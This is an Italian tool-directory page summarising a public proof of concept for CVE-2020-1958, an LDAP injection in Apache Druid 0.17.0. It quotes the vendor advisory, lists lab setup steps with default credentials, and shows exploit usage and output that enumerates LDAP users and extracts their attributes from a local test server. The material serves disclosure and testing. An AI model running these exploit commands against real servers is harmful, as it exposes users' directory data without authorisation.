Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-1958 — CVE-2020-1958 PoC | Kitploit
Strumenti/GitHubGitHub/ggolawski/cve-2020-1958
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingAutenticazione
GitHubggolawski/cve-2020-1958

CVE-2020-1958

CVE-2020-1958 PoC

Vedi Repository
2186 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-1958 PoC

CVE-2020-1958 è una vulnerabilità di iniezione LDAP ad alta gravità in Apache Druid 0.17.0. Consente a un attaccante di aggirare il filtro di ricerca LDAP e di recuperare qualsiasi valore degli attributi LDAP degli utenti presenti sul server LDAP.

Dal bollettino ufficiale di Apache Druid:

Quando l'autenticazione LDAP è abilitata:

  • I chiamanti delle API di Druid con un set valido di credenziali LDAP possono aggirare la barriera del filtro credentialsValidator.userSearch che determina se un utente LDAP valido è autorizzato ad autenticarsi con Druid. Restano comunque soggetti ai controlli di autorizzazione basati sui ruoli, se configurati.
  • I chiamanti delle API di Druid possono recuperare qualsiasi valore degli attributi LDAP degli utenti presenti sul server LDAP, purché tali informazioni siano visibili al server Druid. Questa divulgazione di informazioni non richiede che il chiamante stesso sia un utente LDAP valido.

PoC

Lo script poc.py dimostra come un attaccante non autorizzato possa enumerare gli utenti sul server LDAP integrato con Druid e recuperare il valore di qualsiasi attributo di qualsiasi utente.

Server di test locale di Druid

Salta questo passaggio se disponi già di un server Druid con autenticazione LDAP abilitata.

  1. Scarica Druid 0.17.0 ed estrailo

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
  2. Abilita e configura l'autenticazione LDAP in conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Abilita l'estensione druid-basic-security

      Individua druid.extensions.loadList e aggiungi druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configura l'autenticazione LDAP

      Aggiungi quanto segue alla fine del file:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. Esegui il server OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. Importa gli utenti da users.ldif in LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. Esegui il server Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    

Enumera gli utenti

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Recupera i valori degli attributi LDAP dell'utente admin1

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
Scarica lo strumento